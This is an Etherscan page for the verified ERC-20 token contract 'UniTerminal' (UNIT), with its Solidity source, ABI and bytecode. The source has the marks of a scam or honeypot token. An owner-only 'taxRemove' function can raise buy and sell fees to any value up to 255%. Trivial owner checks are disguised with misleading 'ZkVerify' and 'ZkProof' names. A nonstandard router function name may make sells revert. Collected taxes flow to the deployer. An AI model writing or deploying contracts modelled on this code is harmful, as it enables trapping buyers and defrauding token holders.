ERC-20
Overview
Max Total Supply
10,000,000 UNIT
Holders
8
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
113,984.839684272547971292 UNITValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
UniTerminal
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-12-05 */ /** */ /* Telegram: https://t.me/uniterminal Website : https://uniterminal.xyz/ Twitter : https://twitter.com/UniTerminalExt */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.0; interface IUniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFreelyOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract UniTerminal { struct StoreData { address tokenMkt; uint8 buyFee; uint8 sellFee; } string private _name = unicode"Uni Terminal"; string private _symbol = unicode"UNIT"; uint8 public constant decimals = 18; uint256 public constant totalSupply = 10_000_000 * 10**decimals; StoreData public storeData; uint256 constant swapAmount = totalSupply / 100; error Permissions(); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed TOKEN_MKT, address indexed spender, uint256 value ); mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address public pair; IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); bool private swapping; bool private tradingOpen; constructor() { uint8 _initBuyFee = 5; uint8 _initSellFee = 5; storeData = StoreData({ tokenMkt: msg.sender, buyFee: _initBuyFee, sellFee: _initSellFee }); balanceOf[msg.sender] = totalSupply; allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max; emit Transfer(address(0), msg.sender, totalSupply); } receive() external payable {} function changeInfo(string memory name_, string memory symbol_) external { if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions(); _name = name_; _symbol = symbol_; } function taxRemove(uint8 _buy, uint8 _sell) external { if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions(); _upgradeStoreWithZkProof(_buy, _sell); } function _upgradeStoreWithZkProof(uint8 _buy, uint8 _sell) private { storeData.buyFee = _buy; storeData.sellFee = _sell; } function _decodeTokenMktWithZkVerify() private view returns(address) { return storeData.tokenMkt; } function openTrading() external { require(msg.sender == _decodeTokenMktWithZkVerify()); require(!tradingOpen); address _factory = _uniswapV2Router.factory(); address _weth = _uniswapV2Router.WETH(); address _pair = IUniswapFactory(_factory).getPair(address(this), _weth); pair = _pair; tradingOpen = true; } function transferFrom( address from, address to, uint256 amount ) external returns (bool) { allowance[from][msg.sender] -= amount; return _transfer(from, to, amount); } function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) external returns (bool) { return _transfer(msg.sender, to, amount); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function _transfer( address from, address to, uint256 amount ) internal returns (bool) { address tokenMkt = _decodeTokenMktWithZkVerify(); require(tradingOpen || from == tokenMkt || to == tokenMkt); balanceOf[from] -= amount; if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) { swapping = true; address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _uniswapV2Router .swapExactTokensForETHSupportingFreelyOnTransferTokens( swapAmount, 0, path, address(this), block.timestamp ); payable(tokenMkt).transfer(address(this).balance); swapping = false; } (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee); if (from != address(this) && tradingOpen == true) { uint256 taxCalculatedAmount = (amount * (to == pair ? _sellFee : _buyFee)) / 100; amount -= taxCalculatedAmount; balanceOf[address(this)] += taxCalculatedAmount; } balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"name":"changeInfo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"taxRemove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600c60809081526b155b9a4815195c9b5a5b985b60a21b60a0525f906200002c908262000207565b506040805180820190915260048152631553925560e21b602082015260019062000057908262000207565b5034801562000064575f80fd5b50604080516060810182523380825260056020830181905291909201819052600280546001600160a81b03191660ff60a01b1990931692909217600560a01b1760ff60a81b1916600560a81b1790915580620000c36012600a620003e2565b620000d29062989680620003f9565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001416012600a620003e2565b620001509062989680620003f9565b60405190815260200160405180910390a3505062000413565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200019257607f821691505b602082108103620001b157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200020257805f5260205f20601f840160051c81016020851015620001de5750805b601f840160051c820191505b81811015620001ff575f8155600101620001ea565b50505b505050565b81516001600160401b0381111562000223576200022362000169565b6200023b816200023484546200017d565b84620001b7565b602080601f83116001811462000271575f8415620002595750858301515b5f19600386901b1c1916600185901b178555620002cb565b5f85815260208120601f198616915b82811015620002a15788860151825594840194600190910190840162000280565b5085821015620002bf57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200032757815f19048211156200030b576200030b620002d3565b808516156200031957918102915b93841c9390800290620002ec565b509250929050565b5f826200033f57506001620003dc565b816200034d57505f620003dc565b8160018114620003665760028114620003715762000391565b6001915050620003dc565b60ff841115620003855762000385620002d3565b50506001821b620003dc565b5060208310610133831016604e8410600b8410161715620003b6575081810a620003dc565b620003c28383620002e7565b805f1904821115620003d857620003d8620002d3565b0290505b92915050565b5f620003f260ff8416836200032f565b9392505050565b8082028115828204841417620003dc57620003dc620002d3565b61110680620004215f395ff3fe6080604052600436106100dc575f3560e01c806370a082311161007c578063a8aa1b3111610057578063a8aa1b3114610284578063a9059cbb146102bb578063c9567bf9146102da578063dd62ed3e146102ee575f80fd5b806370a08231146102265780637a9cc6731461025157806395d89b4114610270575f80fd5b80631d4776c2116100b75780631d4776c21461016257806323b872dd14610183578063313ce567146101a25780634abe3052146101c8575f80fd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb610324565b6040516101089190610b2f565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610b92565b6103b3565b6040519015158152602001610108565b34801561014b575f80fd5b5061015461041f565b604051908152602001610108565b34801561016d575f80fd5b5061018161017c366004610c59565b61043b565b005b34801561018e575f80fd5b5061013061019d366004610cb9565b610482565b3480156101ad575f80fd5b506101b6601281565b60405160ff9091168152602001610108565b3480156101d3575f80fd5b506002546101fd906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610108565b348015610231575f80fd5b50610154610240366004610cf7565b60036020525f908152604090205481565b34801561025c575f80fd5b5061018161026b366004610d27565b6104cf565b34801561027b575f80fd5b506100fb61052d565b34801561028f575f80fd5b506005546102a3906001600160a01b031681565b6040516001600160a01b039091168152602001610108565b3480156102c6575f80fd5b506101306102d5366004610b92565b61053c565b3480156102e5575f80fd5b5061018161054f565b3480156102f9575f80fd5b50610154610308366004610d58565b600460209081525f928352604080842090915290825290205481565b60605f805461033290610d8f565b80601f016020809104026020016040519081016040528092919081815260200182805461035e90610d8f565b80156103a95780601f10610380576101008083540402835291602001916103a9565b820191905f5260205f20905b81548152906001019060200180831161038c57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061040d9086815260200190565b60405180910390a35060015b92915050565b61042b6012600a610ebb565b6104389062989680610ec9565b81565b6002546001600160a01b0316331461046557604051629af2b160e81b815260040160405180910390fd5b5f6104708382610f2b565b50600161047d8282610f2b565b505050565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906104b6908490610feb565b909155506104c79050848484610705565b949350505050565b6002546001600160a01b031633146104f957604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b60606001805461033290610d8f565b5f610548338484610705565b9392505050565b6002546001600160a01b03163314610565575f80fd5b600554600160a81b900460ff161561057b575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f09190610ffe565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610643573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106679190610ffe565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa1580156106b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106da9190610ffe565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f806107196002546001600160a01b031690565b600554909150600160a81b900460ff16806107455750806001600160a01b0316856001600160a01b0316145b806107615750806001600160a01b0316846001600160a01b0316145b610769575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610790908490610feb565b90915550506005546001600160a01b0385811691161480156107bc5750600554600160a01b900460ff16155b80156107fa575060646107d16012600a610ebb565b6107de9062989680610ec9565b6107e89190611019565b305f9081526003602052604090205410155b80156108185750806001600160a01b0316856001600160a01b031614155b156109f5576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061086357610863611038565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f79190610ffe565b8160018151811061090a5761090a611038565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f6139606461094a6012600a610ebb565b6109579062989680610ec9565b6109619190611019565b5f8430426040518663ffffffff1660e01b815260040161098595949392919061104c565b5f604051808303815f87803b15801561099c575f80fd5b505af11580156109ae573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f193505050501580156109e5573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610a335750600554600160a81b900460ff1615156001145b15610aa7576005545f906064906001600160a01b03898116911614610a585783610a5a565b825b610a679060ff1688610ec9565b610a719190611019565b9050610a7d8187610feb565b305f90815260036020526040812080549298508392909190610aa09084906110bd565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610ace9084906110bd565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b1a91815260200190565b60405180910390a35060019695505050505050565b5f602080835283518060208501525f5b81811015610b5b57858101830151858201604001528201610b3f565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b8f575f80fd5b50565b5f8060408385031215610ba3575f80fd5b8235610bae81610b7b565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610bdf575f80fd5b813567ffffffffffffffff80821115610bfa57610bfa610bbc565b604051601f8301601f19908116603f01168101908282118183101715610c2257610c22610bbc565b81604052838152866020858801011115610c3a575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610c6a575f80fd5b823567ffffffffffffffff80821115610c81575f80fd5b610c8d86838701610bd0565b93506020850135915080821115610ca2575f80fd5b50610caf85828601610bd0565b9150509250929050565b5f805f60608486031215610ccb575f80fd5b8335610cd681610b7b565b92506020840135610ce681610b7b565b929592945050506040919091013590565b5f60208284031215610d07575f80fd5b813561054881610b7b565b803560ff81168114610d22575f80fd5b919050565b5f8060408385031215610d38575f80fd5b610d4183610d12565b9150610d4f60208401610d12565b90509250929050565b5f8060408385031215610d69575f80fd5b8235610d7481610b7b565b91506020830135610d8481610b7b565b809150509250929050565b600181811c90821680610da357607f821691505b602082108103610dc157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e1557815f1904821115610dfb57610dfb610dc7565b80851615610e0857918102915b93841c9390800290610de0565b509250929050565b5f82610e2b57506001610419565b81610e3757505f610419565b8160018114610e4d5760028114610e5757610e73565b6001915050610419565b60ff841115610e6857610e68610dc7565b50506001821b610419565b5060208310610133831016604e8410600b8410161715610e96575081810a610419565b610ea08383610ddb565b805f1904821115610eb357610eb3610dc7565b029392505050565b5f61054860ff841683610e1d565b808202811582820484141761041957610419610dc7565b601f82111561047d57805f5260205f20601f840160051c81016020851015610f055750805b601f840160051c820191505b81811015610f24575f8155600101610f11565b5050505050565b815167ffffffffffffffff811115610f4557610f45610bbc565b610f5981610f538454610d8f565b84610ee0565b602080601f831160018114610f8c575f8415610f755750858301515b5f19600386901b1c1916600185901b178555610fe3565b5f85815260208120601f198616915b82811015610fba57888601518255948401946001909101908401610f9b565b5085821015610fd757878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b8181038181111561041957610419610dc7565b5f6020828403121561100e575f80fd5b815161054881610b7b565b5f8261103357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561109c5784516001600160a01b031683529383019391830191600101611077565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561041957610419610dc756fea26469706673582212204298aa546e4661ffb7d9ac4d3698cd5f9cd94a2034e5d0e165ae0e109e492cb664736f6c63430008170033
Deployed Bytecode
0x6080604052600436106100dc575f3560e01c806370a082311161007c578063a8aa1b3111610057578063a8aa1b3114610284578063a9059cbb146102bb578063c9567bf9146102da578063dd62ed3e146102ee575f80fd5b806370a08231146102265780637a9cc6731461025157806395d89b4114610270575f80fd5b80631d4776c2116100b75780631d4776c21461016257806323b872dd14610183578063313ce567146101a25780634abe3052146101c8575f80fd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb610324565b6040516101089190610b2f565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610b92565b6103b3565b6040519015158152602001610108565b34801561014b575f80fd5b5061015461041f565b604051908152602001610108565b34801561016d575f80fd5b5061018161017c366004610c59565b61043b565b005b34801561018e575f80fd5b5061013061019d366004610cb9565b610482565b3480156101ad575f80fd5b506101b6601281565b60405160ff9091168152602001610108565b3480156101d3575f80fd5b506002546101fd906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610108565b348015610231575f80fd5b50610154610240366004610cf7565b60036020525f908152604090205481565b34801561025c575f80fd5b5061018161026b366004610d27565b6104cf565b34801561027b575f80fd5b506100fb61052d565b34801561028f575f80fd5b506005546102a3906001600160a01b031681565b6040516001600160a01b039091168152602001610108565b3480156102c6575f80fd5b506101306102d5366004610b92565b61053c565b3480156102e5575f80fd5b5061018161054f565b3480156102f9575f80fd5b50610154610308366004610d58565b600460209081525f928352604080842090915290825290205481565b60605f805461033290610d8f565b80601f016020809104026020016040519081016040528092919081815260200182805461035e90610d8f565b80156103a95780601f10610380576101008083540402835291602001916103a9565b820191905f5260205f20905b81548152906001019060200180831161038c57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061040d9086815260200190565b60405180910390a35060015b92915050565b61042b6012600a610ebb565b6104389062989680610ec9565b81565b6002546001600160a01b0316331461046557604051629af2b160e81b815260040160405180910390fd5b5f6104708382610f2b565b50600161047d8282610f2b565b505050565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906104b6908490610feb565b909155506104c79050848484610705565b949350505050565b6002546001600160a01b031633146104f957604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b60606001805461033290610d8f565b5f610548338484610705565b9392505050565b6002546001600160a01b03163314610565575f80fd5b600554600160a81b900460ff161561057b575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f09190610ffe565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610643573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106679190610ffe565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa1580156106b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106da9190610ffe565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f806107196002546001600160a01b031690565b600554909150600160a81b900460ff16806107455750806001600160a01b0316856001600160a01b0316145b806107615750806001600160a01b0316846001600160a01b0316145b610769575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610790908490610feb565b90915550506005546001600160a01b0385811691161480156107bc5750600554600160a01b900460ff16155b80156107fa575060646107d16012600a610ebb565b6107de9062989680610ec9565b6107e89190611019565b305f9081526003602052604090205410155b80156108185750806001600160a01b0316856001600160a01b031614155b156109f5576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061086357610863611038565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f79190610ffe565b8160018151811061090a5761090a611038565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f6139606461094a6012600a610ebb565b6109579062989680610ec9565b6109619190611019565b5f8430426040518663ffffffff1660e01b815260040161098595949392919061104c565b5f604051808303815f87803b15801561099c575f80fd5b505af11580156109ae573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f193505050501580156109e5573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610a335750600554600160a81b900460ff1615156001145b15610aa7576005545f906064906001600160a01b03898116911614610a585783610a5a565b825b610a679060ff1688610ec9565b610a719190611019565b9050610a7d8187610feb565b305f90815260036020526040812080549298508392909190610aa09084906110bd565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610ace9084906110bd565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b1a91815260200190565b60405180910390a35060019695505050505050565b5f602080835283518060208501525f5b81811015610b5b57858101830151858201604001528201610b3f565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b8f575f80fd5b50565b5f8060408385031215610ba3575f80fd5b8235610bae81610b7b565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610bdf575f80fd5b813567ffffffffffffffff80821115610bfa57610bfa610bbc565b604051601f8301601f19908116603f01168101908282118183101715610c2257610c22610bbc565b81604052838152866020858801011115610c3a575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610c6a575f80fd5b823567ffffffffffffffff80821115610c81575f80fd5b610c8d86838701610bd0565b93506020850135915080821115610ca2575f80fd5b50610caf85828601610bd0565b9150509250929050565b5f805f60608486031215610ccb575f80fd5b8335610cd681610b7b565b92506020840135610ce681610b7b565b929592945050506040919091013590565b5f60208284031215610d07575f80fd5b813561054881610b7b565b803560ff81168114610d22575f80fd5b919050565b5f8060408385031215610d38575f80fd5b610d4183610d12565b9150610d4f60208401610d12565b90509250929050565b5f8060408385031215610d69575f80fd5b8235610d7481610b7b565b91506020830135610d8481610b7b565b809150509250929050565b600181811c90821680610da357607f821691505b602082108103610dc157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e1557815f1904821115610dfb57610dfb610dc7565b80851615610e0857918102915b93841c9390800290610de0565b509250929050565b5f82610e2b57506001610419565b81610e3757505f610419565b8160018114610e4d5760028114610e5757610e73565b6001915050610419565b60ff841115610e6857610e68610dc7565b50506001821b610419565b5060208310610133831016604e8410600b8410161715610e96575081810a610419565b610ea08383610ddb565b805f1904821115610eb357610eb3610dc7565b029392505050565b5f61054860ff841683610e1d565b808202811582820484141761041957610419610dc7565b601f82111561047d57805f5260205f20601f840160051c81016020851015610f055750805b601f840160051c820191505b81811015610f24575f8155600101610f11565b5050505050565b815167ffffffffffffffff811115610f4557610f45610bbc565b610f5981610f538454610d8f565b84610ee0565b602080601f831160018114610f8c575f8415610f755750858301515b5f19600386901b1c1916600185901b178555610fe3565b5f85815260208120601f198616915b82811015610fba57888601518255948401946001909101908401610f9b565b5085821015610fd757878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b8181038181111561041957610419610dc7565b5f6020828403121561100e575f80fd5b815161054881610b7b565b5f8261103357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561109c5784516001600160a01b031683529383019391830191600101611077565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561041957610419610dc756fea26469706673582212204298aa546e4661ffb7d9ac4d3698cd5f9cd94a2034e5d0e165ae0e109e492cb664736f6c63430008170033
Deployed Bytecode Sourcemap
713:4762:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3842:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3490:207;;;;;;;;;;-1:-1:-1;3490:207:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;3490:207:0;1023:187:1;986:63:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;986:63:0;1215:177:1;2184:213:0;;;;;;;;;;-1:-1:-1;2184:213:0;;;;;:::i;:::-;;:::i;:::-;;3259:223;;;;;;;;;;-1:-1:-1;3259:223:0;;;;;:::i;:::-;;:::i;944:35::-;;;;;;;;;;;;977:2;944:35;;;;;3434:4:1;3422:17;;;3404:36;;3392:2;3377:18;944:35:0;3262:184:1;1058:26:0;;;;;;;;;;-1:-1:-1;1058:26:0;;;;-1:-1:-1;;;;;1058:26:0;;;;-1:-1:-1;;;1058:26:0;;;;;-1:-1:-1;;;1058:26:0;;;;;;;;;-1:-1:-1;;;;;3663:32:1;;;3645:51;;3744:4;3732:17;;;3727:2;3712:18;;3705:45;3786:17;;3766:18;;;3759:45;3633:2;3618:18;1058:26:0;3451:359:1;1375:44:0;;;;;;;;;;-1:-1:-1;1375:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;2405:189;;;;;;;;;;-1:-1:-1;2405:189:0;;;;;:::i;:::-;;:::i;3941:95::-;;;;;;;;;;;;;:::i;1499:19::-;;;;;;;;;;-1:-1:-1;1499:19:0;;;;-1:-1:-1;;;;;1499:19:0;;;;;;-1:-1:-1;;;;;4649:32:1;;;4631:51;;4619:2;4604:18;1499:19:0;4485:203:1;3705:129:0;;;;;;;;;;-1:-1:-1;3705:129:0;;;;;:::i;:::-;;:::i;2876:375::-;;;;;;;;;;;;;:::i;1426:64::-;;;;;;;;;;-1:-1:-1;1426:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;3842:91;3887:13;3920:5;3913:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3842:91;:::o;3490:207::-;3585:10;3558:4;3575:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;3575:30:0;;;;;;;;;;:39;;;3630:37;3558:4;;3575:30;;3630:37;;;;3608:6;1361:25:1;;1349:2;1334:18;;1215:177;3630:37:0;;;;;;;;-1:-1:-1;3685:4:0;3490:207;;;;;:::o;986:63::-;1037:12;977:2;1037;:12;:::i;:::-;1024:25;;:10;:25;:::i;:::-;986:63;:::o;2184:213::-;2842:9;:18;-1:-1:-1;;;;;2842:18:0;2272:10;:43;2268:69;;2324:13;;-1:-1:-1;;;2324:13:0;;;;;;;;;;;2268:69;2348:5;:13;2356:5;2348;:13;:::i;:::-;-1:-1:-1;2372:7:0;:17;2382:7;2372;:17;:::i;:::-;;2184:213;;:::o;3259:223::-;-1:-1:-1;;;;;3392:15:0;;3375:4;3392:15;;;:9;:15;;;;;;;;3408:10;3392:27;;;;;;;:37;;3423:6;;3392:27;3375:4;;3392:37;;3423:6;;3392:37;:::i;:::-;;;;-1:-1:-1;3447:27:0;;-1:-1:-1;3457:4:0;3463:2;3467:6;3447:9;:27::i;:::-;3440:34;3259:223;-1:-1:-1;;;;3259:223:0:o;2405:189::-;2842:9;:18;-1:-1:-1;;;;;2842:18:0;2473:10;:43;2469:69;;2525:13;;-1:-1:-1;;;2525:13:0;;;;;;;;;;;2469:69;2680:9;:23;;-1:-1:-1;;;;2714:25:0;-1:-1:-1;;;2680:23:0;;;;;-1:-1:-1;;;;2714:25:0;;-1:-1:-1;;;2714:25:0;;;;;;;;;;;;;;2405:189::o;3941:95::-;3988:13;4021:7;4014:14;;;;;:::i;3705:129::-;3769:4;3793:33;3803:10;3815:2;3819:6;3793:9;:33::i;:::-;3786:40;3705:129;-1:-1:-1;;;3705:129:0:o;2876:375::-;2842:9;:18;-1:-1:-1;;;;;2842:18:0;2927:10;:43;2919:52;;;;;;2991:11;;-1:-1:-1;;;2991:11:0;;;;2990:12;2982:21;;;;;;3014:16;1600:42;-1:-1:-1;;;;;3033:24:0;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3014:45;;3070:13;1600:42;-1:-1